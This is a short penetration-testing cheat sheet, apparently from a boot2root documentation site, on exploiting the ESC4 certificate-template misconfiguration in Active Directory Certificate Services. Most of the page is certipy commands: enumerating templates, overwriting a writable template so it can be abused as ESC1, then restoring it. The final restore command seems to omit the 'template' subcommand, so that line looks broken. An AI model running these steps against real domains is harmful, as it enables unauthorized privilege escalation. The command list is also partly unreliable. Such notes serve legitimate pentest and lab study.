> For the complete documentation index, see [llms.txt](https://h3ll-ka1ser.gitbook.io/boot2root/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h3ll-ka1ser.gitbook.io/boot2root/active-directory-penetration-testing/active-directory-certificate-services-adcs/mindmaps/access-control-vulnerabilities-esc4.md).

# ESC4 - Access Control Vulnerabilities

## Enumeration

* certipy find -u USER\@DOMAIN -p PASSWORD -dc-ip DOMAIN\_CONTROLLER

## Exploitation

* certipy template -u USER\@DOMAIN -p 'PASSWORD' -template VULN\_TEMPLATE -save-old -debug (Write privileges over a certificate template)

### Use ESC1 on vulnerable template

### Then:

* certipy -u USER\@DOMAIN -p 'PASSWORD' -template VULN\_TEMPLATE -configuration TEMPLATE.json (Restore template)